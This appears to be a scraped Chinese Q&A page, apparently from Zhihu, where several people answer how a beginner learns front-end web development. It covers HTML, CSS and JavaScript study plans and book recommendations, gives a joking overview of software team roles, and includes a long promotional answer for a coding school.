小结到这里，我们主要介绍了：(1) 什么是HTML + CSS +JS （显示网页）(2) 什么是Ruby on Rails （复杂的逻辑功能）前面的，就是我们所说的前端，后者，就是常称的后端如果你下次还有疑问的话，不妨顺着这个思路理一理：(1) “网页是由什么构成的？”(2) “怎么实现注册的过程？”(3) “网站上有这么多数据，怎么保存？”“可是我想要设计一个很漂亮的网站诶.....”，那个是设计师做的对于一个网页来说，设计师决定这个按钮的颜色，阴影，怎样才好看而前端工程师（HTML CSS JS），来负责用代码实现这些东西（写具体的代码）比如设计师说，希望这个按钮是蓝色的，那么工程师就根据这个要求写具体的代码：button {color:blue}
对于小的创业团队来说，可能最开始就直接写代码做完了，不会有专职的设计师5. 那么，我接下来该怎么学习Rails呢？好了，写到这里，应该基本了解什么是Rails了（其实主要介绍的是前端），接下来的问题可能就是：那我应该怎么学会Rails，来自己做网站呢？不过我先写这么多了，如果有足够的人需要的话，再继续写吧注：原标题为Rails in Plain Language，即用浅显的语言，告诉准备学习Rails的同学们，Rails到底是什么。不过本文实际上并没有谈到Rails是什么，更多的写的是前端。因为大多数0基础的同学，并不理解这些，所以先了解一下，我觉得会有帮助。
某学校学渣答题，当初学习前端有着明确的目的导向，能够在短时间给我带来一个实习offer：0:
作为一个没什么基础的新人，个人感觉应该先练习正确的全键盘打字，这能让你在写代码的时候速度提升很多，然后学会关于以及正确的使用0.1：既然要学习前端，大家总得知道前端是干什么的，这里有个对前端的总览，大致先看一遍，不求马上能理解多少，但现在自己的大脑里留下一些映像1： 学习如何使用,，然后学会使用，用这个插件可以使得我们在前期可以较快的把自己想要写的东西写完从而获得成就感（感觉成功以及迅速能看到成果对于我们入门相当的重要）。2：了解并熟悉HTML标签，这一步我推荐使用来进行了解，把上面的标签先全部打开看一次，然后自己在仿照着全部写一次，对于基本的html标签都有了自己的认识，然后让我们在实践中进行学习吧。3: 对于css的学习，对于css最开始的基本知识我也是推荐到我上面说的那个网站去全部看一次，并且基本自己先写一次，然后推荐买两本好的css书籍，并且把书上写的代码案例都自己全部实现一次（我自己css学习是先看的林小志的《css那些事儿》，然后看的大漠写的《图解css3》，自己把书上代码的八成以上自己实现了一次，感觉自己的css算是初步入门了），基本上这样css的基础知识就记忆到自己的大脑中了，然后后面我们经常去看看巩固自己的基础知识，再进一步我觉得就是去看规范和在工程实践运用中去提升自己了。3.1 关于css那些事我基本上就是把书上的代码全部都写了一遍，顺着书的顺序来就行了，那个时候为了好看我连书上的每个数据都是写到纸上再自己写，然后图解css3看完了第二章的内容不用急着去写，因为用到了很多后面学习的知识，后面看完了我们再回来写这一章的内容，在这本书的每章的前面都有对于这章节内容的列表，我们要对这个认真的看，看完书之后我们顺着列表来看自己能不能把这些知识都联想起来，不能就再把书多看几次，一定要把概念搞清楚，然后再开始写书上的事例，关于动画的那一部分我基本上都还没写，因为JS里面也有一部分控制动画的内容，准备到时候两个一起来写，但是也建议先把书上的知识看一遍。4: 对于javascript的学习，我在初步学习javascript的时候购买了《javascript高级程序设计》和《javascriptdom编程艺术》，我先学习完了高级程序设计的前面七章，把书上前面七章的代码全部敲到了电脑里面去，并且把原理基本上理解了，然后看了第八章和第十章以后就开始学习javascriptdom编程艺术，我大约花了两天的时间把这本书看完了，然后花了大约两天的时间对书上的内容进行了实践，然后看了《javascript语言精粹》，看了大约一半的《锋利的jqury》（但是对我效果特别不好，大概还是缺乏练习，只记得了一些基础知识），《javascript设计模式》还没有来得及看。4.1 今天因为又认真看了js高级程序设计这本书，我觉得编程艺术和js高级程序设计比较好的观看顺序是：1.高程1-7章 2.编程艺术3-10章混合着高程第8章和第十章来看 3.高程
其中是属于要比较认真的看的 4.实现编程艺术第12章的练习。4.2 答主是一个想要偷懒的人，还学习了一点视频，这里把一些知识点贴出来，都是js与dom相关的知识点，大家在看js高级程序的时候可以配合这几点问题来看：实现浏览器兼容版的element.children实现浏览器兼容版的element.dataset浏览器兼容版的window.getComputedStyle实现getStyle函数Ajax请求GET方法的封装Ajax请求POST方法的封装创建窗口如何处理由于浏览器设置导致的autocomplete="off"失效的问题封装一个可支持任意级选择器级联的控件封装一个输入框通用的光标操作接口有哪些方式可以用来禁止指定的可验证元素的验证利用iframe实现表单的无刷新提交实现一个登录框5: 我们在学习过程中应该逐步明白的一些基础知识，,正则表达式等等。5.1： 在学习的过程中，我们也要巩固自己的基础知识，所以我拿出来了《计算机网络－自顶向下方法》又开始重新学习，这中间我们暂时没必要去写书上的socket编程这些东西，但是应该明白的知识我们也一点都不能少，在看完了这本书之后我们就对网络有了一个大致的了解，然后我们就应该拿出我们的《HTTP权威指南》来参考学习，看这本书先对自己有兴趣的看吧，还有就是自己常用到的，因为我也没怎么看，所以也没啥发言权。6： 残酷的事实告诉我们，你仅仅是把以上的这些书的代码都自己写了一遍然后传上Github，然后写在自己的简历里面只有这些东西的话，连实习电话面试的机会都得不到，所以让我们开始写自己的网站吧。6.1 我认真检查了下我的海外vps发现内存实在太小了，主要用途也是用来当梯子的，所以也没敢乱搞我的vps，就跑去阿里云买了一个学生专用的服务器，真的是很便宜，已经简单装好了wordpress，还没怎么进行配置。然后在学习的时候希望能尽量做到专心致志，我把自己的知乎关注给删减到了100左右，就为了控制自己刷知乎，推荐一些知乎前端比较值得关注的用户，而且他/她们也都不爱刷屏：
winter老师回答的都很赞，基本不抖机灵，关于他的回答在这里 密码: i77d。
Cat chen老师，facebook的Front End Engineer，回答问题也不抖机灵而且对于我们程序员恋爱有自己的独到见解，我的目标就是成为Cat chen老师那样的工程师。
贺师俊老师回答的也很赞，对前端的发展有着自己的看法，贺老对于javascript是世界上最好的语言的演讲实在太赞了。
貘大对于规范一类的问题非常的熟悉，在知乎感觉上从来不抖机灵
就职于手机新浪网的，完全自学成才的典范。 去哪儿网的前端架构师，知乎上回答问题非常认真
饿了么的前端leader，现在不怎么活跃了 前苏宁云商的前端架构师，现teambition，为人非常好，还亲自解答过我的问题@ 网易的前端工程师，各方面知识都很强。
真大神，vuejs的作者ps: 以上顺序是根据我关注早晚来添加的
首先，任何技术实际都是从零基础开始的，不管是直接学习还是通过相近经历转行。所以不需要因零基础担心。　　其次，一定要做好准备：一项技术的学习，意味着你各方面资源不同程度的消耗——时间、工具、资金，甚至融入相关交流圈子的准备。在这个准备过程中，最好是带有一个强硬的规划：“我要在一个月内达到能够实现XXX的水平”或者“我一定要在2周内把XXX项目完成”。如果没有这个规划，一般人都会越来越懒惰。　　然后，选准一个或多个老师。这个老师，可以是一个页面，一本书，也可以是一个真实的人。对于前端这块来说，个人的理解是读十本书不如写一个页面，而我本人也是实实在在地硬着头皮一个标签一个标签google出来的。只有在实际去写的时候，才会出现各种问题，只有在凭自己的思考来解决这些问题的时候，才会得到非常深刻的印象，把相关知识真正转变为自己的。在这里多罗嗦一点，什么叫“选准”老师呢？我参考着去写的第一个页面，是某分类信息网站的首页，一个列表页，除了头尾之外，主体是多个庞杂的列表，并涉及各种布局，总体来讲应该算既不太难又有一些内容的。起手的这一步，如果选择的难度不合适，有可能会造成严重的阻力或者埋下排斥的阴影，学习过程一定要循序渐进。　　另外，需要着重申明的一点：为什么我在第一句话就说“任何技术实际都是从零基础开始的”？因为我要表达的另一个意思是，无论什么时候，不要忘了在解决问题表象的同时，去推敲一下问题产生的基础，那些最不起眼的基本步。同样一个主导航，为什么有的人写出来非得用上三四层标签，有的人却只有两层甚至一层就搞定？这不光是几个字节的差异，甚至可能为了优化代码结构还需要多花一些时间，但有了这层差异，在整个大项目上反映出来的就是个人代码驾驭能力、页面执行效率、接口程序员的工作强度，甚至关系到SEO、模块结构等很多其他的相关面。BTW，有项目经验的童鞋应该对随时出现的各种“灵异现象”都不陌生吧，往往解决这些问题的关键，也在一些毫不起眼的基本步上，不是吗？　　多写，多看，多谈，多搜，好刀都是煅出来的：）
静态页面：HTML div css，CMS后台管理，可以独立完成静态页面制作。
动态页面：Javascript jquery Ajax 网页特效
移动页面：HTML5 css3新技术 移动端+手机特效
高级框架：Bootstrap(起步 全局CSS 组件插件 实例实战 进阶...)
学习前端三个月，目前在实习。算是入了门吧。就结合我自己的经历讲讲吧。最开始是在慕课网，有个前端工程师的学习计划。参加那个计划，看看视频做做练习。学html和css时可以看看w3cschool，一些知识点比较基础比较全面。学习javascript时，推荐看智能社的石川主讲javascript视频，讲的很不错。在网易云课堂上面有。书的话可以看看javascript
dom编程艺术，很多人推荐的javascript语言精粹是好书，但不建议现在看。javascriot高级程序设计比较全面，也推荐买来看看，再推荐css权威指南，能减少很多次跳坑的可能。接着看看jquery，看看html5，css3，bootstrap，应该就到了一个瓶颈了。准备一下就可以找实习了。更新……现在已入职广州郊区某排名有前五十的游戏公司。打个广告，我的博文上也讲了一些前端入门相关的东西。
前言===============================CSS入门比较简单，很适合零基础的人去学习。但是该从哪里开始呢？又该学到什么程度，学会了之后，又会能找到一份什么样的工作呢。目录===============================一 什么是CSS二 该学习哪些内容三 能胜任什么工作四 为什么不推荐去看视频五 究竟该怎么去学习六 遇到问题怎么交流七 下一步学什么===============================一 什么是CSS？CSS【层叠样式表】是一种用来表现（的一个应用）或（标准通用标记语言的一个子集）等文件样式的计算机语言。但是对于新人来讲，更需要的是看懂这么一个流程图，论一个网站是怎么开发完成的，这样你才能了解通常程序员所说的CSS是什么。解释一下每个名词的含义：1.产品经理：每一个好的产品，都是产品经理在浴室里思考会议室上拍桌子说服大佬最后拿着枪指着程序员做出来的。这就是产品经理的职责，他们被认为是互联网的灵魂和发动机，理解用户痛点，给出解决方案，做出差异化的产品，能够快速迭代，可以合理分期并能够及时评估项目风险。产品经理就是负责把用户的需求，变成需求文档和原型和PPT和流程图。
当然，大多数程序员对于产品经理的形容只有两个字：SB2.UI：UI是一个又能做产品又能做页面又能做交互的神奇物种，做UI是跟做前端的人打交道最多的职业，所以他们跟CSS一样，有时候都被简称是美工或切图的，有时候就是给合影照做PS的。UI就是把产品经理设计的原型图，上色变成好看的设计稿。也就是PSD文件。
当然，大多数程序员（特别是CSS）对于UI人员的形容只有三个字：像素眼3.CSS：其实有时候CSS根本不算程序员啦，这也是为什么有时候UI会兼职做CSS的重要原因。也是CSS成为了最容易上手的IT职业。CSS就是负责把UI设计的图片(PSD)，变成Html网页,里面的数据全是假的。很多时候学会CSS就能找到一份IT行业的工作，但是并不能帮助你拿高薪。
当然，大多数程序员对于CSS人员的形容只有三个字：切页面的。4.JS：JS入门的难度比CSS稍高一些，但也是所有真正程序员里比较简单的工种了。简单的JS程序员只是做点轮播，做点特效和动画，加个弹窗，做个验证。但是，现在呢，前后端分离的方式，前端架构概念的出现，Html5的普及，已经让前端成为了一个最重要和最热门的工种。
当然，大多数程序员对于JS人员的形容就是：我靠，你居然会写后端代码？5.后端：后端其实才是神一样的存在，无论前端是有Apple还是IOS还是桌面客户端，永远少不了后端，后端要懂业务逻辑，要懂扩展，要懂备份和安全。但是后端是一个很吃年限，入门要求很高的职业。
当然，大多数产品经理对于后端人员的形容就是：马丹又延期了。6.QA：QA归属于程序员，但是常常会被程序员孤立哈哈哈哈哈。因为QA就是专门挑错的人，如果你挑错挑的不严谨，Boss会骂你。如果你挑错挑的很认真，程序员会杀了你。你自己看着办吧。
当然，大多数程序员对于QA的形容就是：你是不会用吧。7.OP：OP是比较奇葩的物种，跟各个程序员之间基本上没什么大的冲突，除非是到了发布的时间点。无数的OP都会经历过这样的事情，线上发布一次，马丹，有Bug，回滚或者是直接在线上改。改了半个小时，马丹，还是错，再继续改。这次先到了测试环境验证，好不容易验证通过了，再发到线上，又出问题了。马丹，程序员们继续改。
当然，大多数程序员最喜欢对OP说的一句话就是：大哥，睡了没？没睡再帮我发一个版本吧？小结：CSS就是负责把UI设计的效果图变成静态网页，然后由后端或者是前端JS把静态网页中（假数据）变成动态网页（真数据）。简单说，不用理解太多产品需求，只要勾搭好UI妹子，做好浏览器兼容，做好自适应和响应式，代码写的别那么烂，有点通用性，就好啦。这就为一个月之内学会CSS，成为一个初级的CSS工程师，创造了前提条件。二 该学习哪些内容===============================先看一下这张图，不同的颜色代表着你需要了解到不同的程度。简单来说呢，我对一个月的CSS工程师要求是：能独立完成自适应和响应式的项目，能会使用Bootstrap和Less。你们觉得难么？可能大部分人都未必知道，什么是适应，什么是响应式，什么是Boostrap和Less。好吧，这确实是有点难度，不过我大IT修真院的弟子可以在15天之内完成这个的。所以，其实还不算太难啦，难的还在于是编码规范。这儿我把CSS初级工程师，需要会的内容，再整理成一个文字版的。1.基础环境的配置：WebStorm/sublime,Svn/Git，Nginx/shell ，PS ，命名和规范。这些都是一开始就要会的了，只有一开始都先从简单的功能开始使用，然后每天巩固，每天在用，当一个月之后，你会发现根本就不用刻意去学，自然就会了。其中，WEBStorm是IDE，SVN是源码管理工具，Nginx是WEB服务器，Shell只需要会一些简单的脚本，PS是要你自己学会切图，命名和规范是格外的重要的。。这里每一个点都可以无限扩散，然而你并不需要会那么多，暂时来说，会用就行。2.布局+样式：布局是最基础的操作，先抛开各种奇怪的控制的属性不谈，单说各种对齐和局中。这里其实是需要了解一些理论知识的（大概也是CSS里为数不多的理论知识之一），主要就是盒子模型，定位（标准流）（浮动）(相对，绝对)。用这些东西做出常见的居中，两列，三列，Header，Foot，侧边栏等。 然后就是学习各种控件（简单的和复杂的）的样式，这里包括选择器，优先级等等。3.自适应+响应式：可以这么说吧，从现在开始，表再做没有自适应的网页了，优先考虑响应式吧，跨屏时候已经来临。所以你要了解屏幕尺寸（Media），要懂长度单位（em,rem,百分比）4.性能优化：一些简单的常识就够了。最少要学会雪碧图的制作。5.框架：Bootstrap和Less，在学会以上4种的时候，已经可以自己搭建一个网站了~吃惊咩？然而还是需要学习一下Bootstrap，学会了解一下使用开源框架的感受，学习别人封装代码的思路，这是最重要的。Less可以帮助你从另一个角度去思考，让你的代码更简洁。好的，现在来简单总结一下，当我说，一个月之内成为一个CSS初级工程师的时候，就是指的你已经学会了以上的内容。这样你就能开始写一些项目了，在写项目的过程中，会加深很多细节的知识，CSS的知识就是繁琐的。只有掌握了这些，你才能完成接下来的学习。三 能胜任什么工作===============================其实，刚刚已经说到一些了。初级的CSS工程师，在北京可以拿到4K~8K的薪水，能不能找到工作，取决于你能不能独立做出来项目的页面。能拿到多少薪水，取决于你会不会一些JS。这样的水准啊。在北京找到份工作其实不难了，你每天的日常工作就是，从UI那里拿到图。然后切成静态页面，然后当后端的同学套页面的时候，去看看套的对不对。跟着会做一些轮播图，做个小弹框之类的。如果你停止学习，你可能在这个水平上停留很长时间。哦，还有可能会懂一些浏览器的Hack。学会兼容IE的老版本。四 为什么不推荐去看视频===============================坦白的说呢，如果没有人教你，没有人带你，想要实现在一个月的时间里就学会这些，基本上是做不到的。这也是我写这篇贴子的很重要的原因,这也是这篇贴子中最有价值的地方。总的原则是：1.永远永远不要去先看视频，先看书。2.永远永远记着代码是写出来的，不是看出来的。3.永远永远记着要有自己独立学习独立解决问题的能力。4.永远永远记着不要说自己不会英语。5.永远永远记着不要给自己没有时间找借口。6.永远永远记着要学的知识有很多，找到一条正确的途径才可以。好了。看完这些，也可能会跟你之前的认知有所不同。但是，想想，你有没有遇到过这些问题。1.不知道自己该学什么，从哪里入手。2.视频看了很多，讲起来好像懂了，做起来完全又不会。3.遇到了问题，根本找不到人解决。那么我来解释一下，为什么我会让你们抛弃看视频，看教程，做测试题等各种奇怪的学习方式，转而投向更高效更快速的IT修真方式。首先，技术是有体系的，但是又是非常零散的。这些零散的小知识太多了，而且在实际使用中，你并不需要把所有的零散小知识都学会，那样太慢了，更何况，在做真实的项目中，根本用不到这些小知识。用不到的东西很容易就会忘啊。所以这就是你看视频或者是教程之后，就算是懂了也会很快就忘记的原因。怎么解决？多写多练，学习致用。其次,做技术的要培养的是自我学习和解决问题的能力。这是看视频和看教程绝对没有办法教会你的。比如说，遇到了问题，该去找哪些关键词？百度的结果中，哪些常用网站的答案是可信的？哪些的方法根本就是错的？请教别人的时候，如何能够快速准确的描述清楚自己的问题呢？每个人都有自己的学习方式，都有自己无法理解的问题和困扰，这些只能靠真正的写代码去实践出来的。再次，学习的氛围很重要，讨论交流，同学都在努力学习的氛围会让你不自然的向前走。这同样是视频和教程很能给你培训的啊。没有人监督，没有人一起学，很容易被各种各样的琐事打断。最后，做项目更看重的是编码规范，交流沟通，协作和进度支持。这也是各种培训机构很难带给你们的。很多培训机构的老师都只会讲课，并不会做项目。五 该怎么去学习===============================说了这么多，该怎么去学习呢。别着急，容我仔细讲来。1.要明白自己学习的目标是什么。
这里的学习目标，并不是成为一个CSS工程师之类的，也不是迎娶白富美什么的，而是一个明确的，专业的目标。
对于CSS工程师来讲，要进入公司就必须能够独立做项目，必须学会编码规划和协作，必须学会自适应和响应式，再学会Bootstrap来了解框架，最后是学习Less扩展视野。
记住了么，如果这些名词不太熟悉，不要害怕，学习都是有顺序的。但是，前提条件是，你必须明白，你会了这些，你才能够说自己算是CSS入门了，可以独立去找一份工作了。2.要有明确的学习规划
从简到难，先学什么，后学什么，有人带和没人带的差别，就在于这里。
对于CSS来说，重新回过头来看看本篇贴子的第二节，这就是你的一个学习的规划。这就是你要学习的内容。3.要不断的用代码去验证自己学习的成果
会和不会最直接的方式，就是你能不能做得出来，所以一定是你去做一个任务，然后这个任务呢，包括某种技能和知识点的训练（玩过游戏的都会比较熟悉这种方式），在做任务的时候遇到了问题，再去找人交流或者是请教师兄。
能直接写出来的代码，会让你有脚踏实地的感觉，不会心虚。
对于CSS来说，重新回过头来看看本篇贴子的第二节，这就是你的一个学习的规划。这就是你要学习的内容。4.要学会自己去主动解决问题
之前提到过，自己主动解决问题的能力很重要，这是一个程序中的生涯中必不可少的解决问题的方式。所以从一开始就要培养自己在这方面的能力，而这个真的是一种能力。有的人能够快速找到问题的解决方案，有的人会被一个问题卡很久，每个人的情况都不一样，早点入手，早点找到更适合自己的方式。5.要学会自己去和其他人交流请教其实交流和请教别人，也不是一件简单的事儿，很多时候你并不能描述清楚你的问题。因为出现问题的原因总是千奇百怪，特别是每个人走的路子不一样，解决问题的方案也不一样。因些，最好的方式就是寻找那些刚刚解决过这些问题，比你早走一步的师兄，对他们来说，更乐意去帮助你解决掉这些问题，这也是强化记忆的一种方式。
学会寻找合适的人去请教，描述清楚又不能过多打扰对方，这也是一种能力的训练。还有，提前认识一些技术上的前辈，他们能给你们的指导和帮助，远远超出你的想像。（IT修真院就是提供这么一种途径）6.每天都去总结反馈
不要给自己任何的理由去停止练习，哪怕你什么都没做，也要保持记录日报的习惯（IT修真院的论坛里有很多师兄写的日报，可以参考，也是我带IT修真院学员的时候，点评日报是和学员交流的最好方式），你可以发现，自己究竟学会了什么，又因为什么阻碍了自己的进度，在什么地方进步更快。
不断的反思和总结，会让你收益颇丰。7.公开代码，接受交流
你是一个新人，所以没什么可羞涩的。把代码公开出来，把做出来的效果贴出来，这都是很好的交流方式和心态。8.注重规范，注重合作，注重交流
在真实项目中，这比什么都重要，你会发现，当你和三个人一起合作的时候，因为Class命名不统一不规范产生冲突，因为三个人风格不一致导到项目后期维护困难，当需求发生变化的时候你发现自己写的代码简直无法改动，等等等等这些，在刚开始的时候就这么做，考虑代码的扩展性和可维护性，否则一旦你养成很多坏习惯，再纠正过来就很难了。9.在需要的时候再去看视频和教程在遇到一些关键的节点上，自己解决不了的问题的时候，再去翻阅视频和教程-我不确定你们是否明白这两种方式的差别，就是不要跟着教程和视频走，那样太慢，不要去做所谓的练习题，对你没有任何帮助。而是把教程和视频当成是词典，你只在需求的时候去查阅它，在自己积累到了一定的困惑的时候，再去梳理和总结。这是我从业近十年以来发现的最快的学习方式。10.不要太贪心，什么都想学严格按照任务序列去做，不要太纠结于细节，学会把不会的内容放一放，留在脑袋里一直让它困惑。保持足够的进度，当积攒到一定程度，你发现他成为你学习的瓶颈的时候，再去解决它。
否则你会就迷失到知识的海洋中，根本找不到方向。11.学会最佳实践在做CSS或者是其实的语言的时候，慢慢的你会发现，完成一份工作，总是有很多种方式，很多时候你会困惑，我究竟该用哪些方式好？这个在项目中，就叫做最佳实践，换句话说。最佳实践就是无数人走了无数的弯路，告诉你那么走是走不通的，按照正确的方法走是没问题的。
然而问题又来了，很多时候都会告诉你正确的路怎么走，但是为什么不能走其他的路，并没有人说。而且，也太多了。
因此我必须要认真的提醒你，先确定自己能用一种方式把问题解决，然后再去寻找更好的方式，这就是你的最佳实践。等以后有更好的办法解决问题的时候，再去改进自己的经验体系。六 遇到问题怎么交流一般来说，遇到问题往往会有以下几种解决方案。
1.如果有之前的正确代码，回滚到正确的代码上，先确认是哪一行代码产生的问题。
2.确认你的运行环境，如果是CSS的话，确定是在哪个浏览器的哪个版本下出的问题。
3.打开F12，如果有报错信息，那么就直接百度报错信息，先试着理解一下报错的含义。
4.如果没有报错信息，用两到三个词来描述你的错误现象，查一下百度结果。用最快的速度判断出来哪些结果有用和没用。如果没用，更换关键词，通常你应该做到，在10秒钟之内至少切换两到三次关键词。
5.写清楚自己的环境很困惑的地方，像一个程序员一样的去问问题，比如说，为什么我的Nginx配置完正确的路径之后显示出来的仍然是默认的欢迎页面，并没有切换到我自己的Html页。而不是像个傻子一样说，有没有人会Nginx？为什么我的Nginx不能用？如果有截图，截上全屏的图，不要只截一小块，真的很烦只截一小块代码的没头没脑的图。
6.先整理问题，再去提问，不要随便遇到一个问题就各种去找人问，整理清楚自己的困惑，然后发给别人，等他们有时间的时候再回复。
7.查阅相关的资料，用最短的时间确定是否能解决自己的问题。不要迷失，不要一直看下去。有困惑一定要存疑，积累至少一到两天或者一周（看你困惑的是不是关键性的问题）。
8.多写不同的代码，多找已有的例子，公开自己的源码，找固定的学习伙伴，寻找比你刚好多学了一点点的师兄，而不是一定要找一些技术大牛，你遇到的问题，他很难领会到你的困境，因为离菜鸟困惑的时间点太远了。【我不得不强烈推荐IT修真院，去哪找这么好的学院找师兄？】七 下一步学什么实际上，当你能通过IT修真院的15个Task，你就已经可以成为一个具有学习能力，了解CSS的整体趋势，能够独立完成一些项目的初级CSS工程师了。接下来就应该偏向于代码规范，JS，CSS3和Html5的内容。如果想了解更多，就关注IT修真院的微信公众账号，开始CSS中级工程师的修真之旅吧。北京葡萄藤.IT修真院 ===============================免费，快速，高效的帮助IT新人入门，加QQ群：。微信公众号：葡萄藤IT技能树
在正式写之前扯扯没有用的——我个人认为学习任何东西都要经历：1，接触概念，很模糊2，产生兴趣，摸索学习3，想各种手段，接触、试图把握感兴趣的各个面及点4，在挣扎与摸爬滚打中，慢慢的成长，对于基础也渐渐地有了，清晰的认知，这时候对于兴趣目标有了新的思考5，开始向，更高级触发，阐释探索兴趣点的本质---------------------我是前端，你打我啊----------------------楼上的很多朋友，讲了很多学习的神功，我也YY几点：1，选取《JavaScript高级程序设计》或者《犀牛书》肯上几遍，别告诉我你不懂，任何人开始学习的时候都不懂，坚持就是胜利，这是真理。2，当有一定的根基之后，选取一些案例、小效果学学，当然也可以搞一些书籍，照着案例敲敲代码，例如：《超实用javascript代码段》、《CSS入门到精通》之类的书籍，有什么问题可以去一些前端的相关网站瞅瞅、逛逛，例如：、慕课有很多课程资源、github也有大量的源代码，或者去国外的一些知名代码社区玩玩3，找真正的项目死磕、实践4，等越过初级门槛之后，就要思考性能问题、设计模式、架构思想了
先扯这么多，后补待续······
今天刚收的新版CSS参考手册，希望对你有所帮助：
已有帐号？
无法登录？
社交帐号登录